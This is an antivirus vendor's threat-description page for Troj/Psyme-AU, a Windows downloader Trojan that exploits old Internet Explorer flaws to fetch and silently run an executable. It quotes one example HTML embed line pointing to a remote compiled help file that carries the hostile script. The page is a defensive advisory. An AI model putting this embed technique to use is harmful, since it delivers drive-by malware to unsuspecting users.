Sophos

Troj/Psyme-AU

Category
Type
What to do
Prevalence low high

Summary

 
Affected operating systems Windows
Protection available since 14 September 2004 08:11:14 (GMT)
Detected by All Sophos products
  • Free virus, spyware, and adware scan
  • Test your existing anti-virus protection
  • Find threats your anti-virus missed

Action

More Information

Troj/Psyme-AU is a JavaScript downloader Trojan (usually HTML-based) which exploits the ADODB stream and CODEBASE vulnerabilties associated with Microsoft Internet Explorer to silently download a file from a remote website to C:\Recycled\Q330995.exe on the local computer and run it.

Troj/Psyme-AU can arrive on the computer by browsing websites whose HTML pages
contain the script or by loading a HTML page that contains a link to an infected page. For example a HTML page may contain:

data=html:file://c:\\nosuch.mht!http://unknown.com/online.chm::/1.htm

where online.chm is a compiled HTML help file containing 1.htm and 1.htm is a HTML file containing the Troj/Psyme-AU script.

Known versions of Troj/Psyme-AU download and run Troj/StartPa-BM. For further information please refer to the Troj/StartPa-BM description.

RSS|Atom
Get reports about the latest virus and spyware threats delivered to your computer